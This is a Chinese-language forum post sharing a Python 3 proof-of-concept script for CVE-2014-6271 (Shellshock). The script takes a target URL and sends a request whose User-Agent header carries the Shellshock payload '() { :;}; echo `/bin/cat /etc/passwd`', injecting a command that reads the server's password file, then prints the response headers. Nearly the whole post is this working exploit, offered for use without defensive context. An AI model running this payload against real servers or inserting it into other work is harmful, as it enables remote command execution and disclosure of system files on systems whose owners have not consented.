论坛 › Python › Python3实现PoC——CVE-2014-6271

张颢镡 发表于 2018-8-16 07:02:44

Python3实现PoC——CVE-2014-6271

import requests　　
import argparse
　　

　　
# 获取参数
　　
parser = argparse.ArgumentParser()
　　
parser.add_argument('-u', dest="url")
　　
args = parser.parse_args()
　　
url = args.url
　　

　　
# 设置headers，进行验证
　　
headers = {'user-agent': '() { :;}; echo `/bin/cat /etc/passwd`'}
　　
try:
　　
    r = requests.get(url, headers=headers)
　　
    if(r.status_code == requests.codes.ok):
　　
      dict_r = r.headers.items()
　　
      for key, value in dict_r:
　　
            print("{}: {}".format(key, value))
　　
except Exception as e:
　　
    print(str(e))

查看完整版本: Python3实现PoC——CVE-2014-6271